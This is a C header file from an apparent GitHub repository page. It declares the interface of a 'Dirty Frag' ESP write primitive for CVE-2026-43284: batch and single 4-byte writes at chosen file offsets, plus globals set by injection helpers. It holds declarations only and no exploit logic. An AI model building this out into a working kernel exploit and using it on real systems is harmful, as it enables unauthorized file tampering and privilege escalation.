-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathdirtyfrag_write4.h
More file actions
31 lines (23 loc) · 839 Bytes
/
Copy pathdirtyfrag_write4.h
File metadata and controls
31 lines (23 loc) · 839 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/*
* dirtyfrag_write4.h -- CVE-2026-43284 Dirty Frag ESP write primitive
*/
#ifndef DIRTYFRAG_WRITE4_H
#define DIRTYFRAG_WRITE4_H
#include <stdint.h>
#include <sys/types.h>
struct df_write_req {
off_t offset;
uint32_t value;
};
/* Batch write: fork once, write count values. Fast. */
int dirtyfrag_write4_batch(const char *path, struct df_write_req *reqs, int count);
/* Single write (slow - one fork). Set g_df_target_foff first. */
int dirtyfrag_write4(void *addr, uint32_t value);
/* Set target file path (called once before writes). */
void dirtyfrag_set_path(const char *path);
/* Cleanup (no-op for current implementation). */
void dirtyfrag_cleanup(void);
/* Globals set by inject_blob/inject_word before each write */
extern int g_df_target_fd;
extern off_t g_df_target_foff;
#endif /* DIRTYFRAG_WRITE4_H */